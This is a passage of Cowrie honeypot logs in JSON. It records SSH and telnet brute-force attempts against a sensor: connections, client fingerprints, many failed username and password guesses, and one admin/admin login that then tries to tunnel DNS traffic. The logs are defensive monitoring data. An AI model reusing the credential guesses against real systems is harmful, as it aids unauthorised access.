.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:11.312574Z","src_ip":"80.94.92.184","session":"52ac04e1ed5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.43645119667053,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:12.448607Z","src_ip":"152.42.224.71","session":"e5317b04e042","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:12.698394Z","src_ip":"80.94.92.184","session":"52ac04e1ed5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:14.026479Z","src_ip":"80.94.92.184","session":"52ac04e1ed5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.402318716049194,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:19.224644Z","src_ip":"152.42.224.71","session":"70594b294c33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60078,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ae37e90968d","protocol":"telnet","message":"New connection: 152.42.224.71:60078 (10.17.0.5:23) [session: 2ae37e90968d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:21.242199Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":51589,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c24f1cce95f","protocol":"ssh","message":"New connection: 213.209.159.56:51589 (159.203.135.109:22) [session: 7c24f1cce95f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:24.586190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:24.590647Z","src_ip":"213.209.159.56","session":"7c24f1cce95f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:24.672748Z","src_ip":"213.209.159.56","session":"7c24f1cce95f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"khadijah","password":"khadijah","message":"login attempt [khadijah/khadijah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:25.075747Z","src_ip":"213.209.159.56","session":"7c24f1cce95f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.58404207229614,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:25.866279Z","src_ip":"152.42.224.71","session":"157b873cd728","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"khadijah","password":"khadijah1","message":"login attempt [khadijah/khadijah1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:26.160495Z","src_ip":"213.209.159.56","session":"7c24f1cce95f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":39740,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad760b68d065","protocol":"ssh","message":"New connection: 194.113.233.25:39740 (10.17.0.5:22) [session: ad760b68d065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:27.225043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:27.229506Z","src_ip":"194.113.233.25","session":"ad760b68d065","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"khadijah","password":"khadijah123","message":"login attempt [khadijah/khadijah123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:27.246435Z","src_ip":"213.209.159.56","session":"7c24f1cce95f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:27.322759Z","src_ip":"194.113.233.25","session":"ad760b68d065","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k2010302","message":"login attempt [root/k2010302] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:27.604366Z","src_ip":"194.113.233.25","session":"ad760b68d065","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"khadijah","password":"khadijah1234","message":"login attempt [khadijah/khadijah1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:28.331329Z","src_ip":"213.209.159.56","session":"7c24f1cce95f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:28.699796Z","src_ip":"194.113.233.25","session":"ad760b68d065","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"khadijah","password":"khadijah12345","message":"login attempt [khadijah/khadijah12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:29.416578Z","src_ip":"213.209.159.56","session":"7c24f1cce95f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:30.501238Z","src_ip":"213.209.159.56","session":"7c24f1cce95f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51090,"dst_ip":"10.17.0.5","dst_port":23,"session":"113c729b4ccb","protocol":"telnet","message":"New connection: 152.42.224.71:51090 (10.17.0.5:23) [session: 113c729b4ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:33.361748Z"}
{"eventid":"cowrie.session.closed","duration":47.465378522872925,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:41.640481Z","src_ip":"152.42.224.71","session":"8432614d5ce0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41152,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbe924769821","protocol":"telnet","message":"New connection: 152.42.224.71:41152 (10.17.0.5:23) [session: bbe924769821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:49.247790Z"}
{"eventid":"cowrie.session.closed","duration":39.89882969856262,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:50.589526Z","src_ip":"152.42.224.71","session":"076968a88eb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41168,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ad0868cae48","protocol":"telnet","message":"New connection: 152.42.224.71:41168 (10.17.0.5:23) [session: 2ad0868cae48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:51.267156Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41176,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ff90eb857c0","protocol":"telnet","message":"New connection: 152.42.224.71:41176 (10.17.0.5:23) [session: 4ff90eb857c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:52.729442Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41182,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdd311f507fd","protocol":"telnet","message":"New connection: 152.42.224.71:41182 (10.17.0.5:23) [session: cdd311f507fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:26:56.369969Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33214,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb698805ec38","protocol":"telnet","message":"New connection: 152.42.224.71:33214 (10.17.0.5:23) [session: fb698805ec38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:00.415488Z"}
{"eventid":"cowrie.session.closed","duration":42.69011473655701,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:03.932230Z","src_ip":"152.42.224.71","session":"2ae37e90968d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00391340255737,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:06.548982Z","src_ip":"152.42.224.71","session":"0342a2f54379","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.45754337310791,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:08.819081Z","src_ip":"152.42.224.71","session":"113c729b4ccb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.32.136","src_port":54224,"dst_ip":"159.203.135.109","dst_port":22,"session":"52153e854460","protocol":"ssh","message":"New connection: 43.134.32.136:54224 (159.203.135.109:22) [session: 52153e854460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:09.842901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:09.847447Z","src_ip":"43.134.32.136","session":"52153e854460","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:10.093480Z","src_ip":"43.134.32.136","session":"52153e854460","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abc","password":"1234","message":"login attempt [abc/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:11.109896Z","src_ip":"43.134.32.136","session":"52153e854460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:12.358048Z","src_ip":"43.134.32.136","session":"52153e854460","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":45434,"dst_ip":"159.203.135.109","dst_port":22,"session":"15ce20ee3934","protocol":"ssh","message":"New connection: 103.77.242.62:45434 (159.203.135.109:22) [session: 15ce20ee3934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:13.763169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:13.767617Z","src_ip":"103.77.242.62","session":"15ce20ee3934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:14.003458Z","src_ip":"103.77.242.62","session":"15ce20ee3934","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32874,"dst_ip":"10.17.0.5","dst_port":23,"session":"1958c44bd864","protocol":"telnet","message":"New connection: 152.42.224.71:32874 (10.17.0.5:23) [session: 1958c44bd864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:14.262222Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"flappie2011","message":"login attempt [root/flappie2011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:14.711920Z","src_ip":"103.77.242.62","session":"15ce20ee3934","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:15.951627Z","src_ip":"103.77.242.62","session":"15ce20ee3934","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48036,"dst_ip":"10.17.0.5","dst_port":23,"session":"feec0810f677","protocol":"telnet","message":"New connection: 152.42.224.71:48036 (10.17.0.5:23) [session: feec0810f677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:16.275355Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48050,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0b046618a8c","protocol":"telnet","message":"New connection: 152.42.224.71:48050 (10.17.0.5:23) [session: c0b046618a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:17.180648Z"}
{"eventid":"cowrie.session.closed","duration":120.00663733482361,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:23.200943Z","src_ip":"152.42.224.71","session":"57b29ebed94e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00502800941467,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:26.701292Z","src_ip":"152.42.224.71","session":"0be37bf98663","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40030,"dst_ip":"10.17.0.5","dst_port":23,"session":"7008cc3f9747","protocol":"telnet","message":"New connection: 152.42.224.71:40030 (10.17.0.5:23) [session: 7008cc3f9747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:30.490563Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":50822,"dst_ip":"10.17.0.5","dst_port":22,"session":"41bdfb45edd0","protocol":"ssh","message":"New connection: 87.251.64.176:50822 (10.17.0.5:22) [session: 41bdfb45edd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:33.550398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:33.554790Z","src_ip":"87.251.64.176","session":"41bdfb45edd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:33.650739Z","src_ip":"87.251.64.176","session":"41bdfb45edd0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:33.939046Z","src_ip":"87.251.64.176","session":"41bdfb45edd0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:34.040650Z","session":"41bdfb45edd0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:34.138258Z","src_ip":"87.251.64.176","session":"41bdfb45edd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:34.237175Z","src_ip":"87.251.64.176","session":"41bdfb45edd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.663816690444946,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:35.911514Z","src_ip":"152.42.224.71","session":"bbe924769821","protocol":"telnet"}
